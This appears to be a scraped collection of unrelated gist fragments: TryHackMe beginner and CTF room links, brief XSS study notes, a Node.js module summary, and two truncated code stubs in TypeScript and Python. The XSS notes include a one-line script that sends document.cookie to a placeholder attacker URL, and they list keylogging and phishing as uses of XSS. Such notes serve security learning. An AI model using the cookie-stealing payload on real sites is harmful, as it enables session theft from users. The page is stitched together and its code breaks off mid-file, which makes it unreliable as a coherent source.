https://tryhackme.com/room/howtousetryhackme
https://tryhackme.com/room/gettingstarted
https://tryhackme.com/room/welcome
https://tryhackme.com/room/tutorial
https://tryhackme.com/room/openvpn
https://tryhackme.com/room/beginnerpathintro https://tryhackme.com/room/startingoutincybersec
https://tryhackme.com/room/gamingserver - [๐]
https://tryhackme.com/room/cowboyhacker - [๐]
https://tryhackme.com/room/ctf - [๐]
https://tryhackme.com/room/rrootme - [๐]
https://tryhackme.com/room/attackerkb - [๐]
https://tryhackme.com/room/picklerick - [๐]
https://tryhackme.com/room/c4ptur3th3fl4g - [๐]
https://tryhackme.com/room/bsidesgtlibrary - [๐] https://tryhackme.com/room/bsidesgtthompson - [๐]
XSS is a code injection attack that allows and attacker to execute malicious code in another users browser.
Possible leverages
- Cookie Theft : Accessing cookie using
document.cookieand sending it to a attacker listener using something like<script> window.location='http://url/?cookie=' + document.cookie </script> - Keylogging : Registering a keylogger with addEventListener & sending infos to own server
- Phishing : Showing a fake login form to steal credentials
NodeJS has three module types :
- Core Modules : These are built-in modules that are part of Node.js distribution and are availabe globally without needing to install any additional distribution. Example : fs, http etc
- Local Modules : Custom modules written by developers and saved as individual files.
- Third-Party Modules : Written by external developers, installed and managed by Node Package Manager (NPM).
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import "dotenv/config"; | |
| import { OpenAIEmbeddings } from "@langchain/openai"; | |
| import { TextLoader } from "langchain/document_loaders/fs/text"; | |
| import natural from "natural"; | |
| import * as math from "mathjs"; | |
| import { quantile } from "d3-array"; | |
| interface SentenceObject { | |
| sentence: string; | |
| index: number; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from retrying import retry | |
| class Step: | |
| @retry(stop_max_attempt_number=3, wait_exponential_multiplier=1000, wait_exponential_max=10000) | |
| def execute(self): | |
| raise NotImplementedError | |
| def rollback(self): | |
| raise NotImplementedError |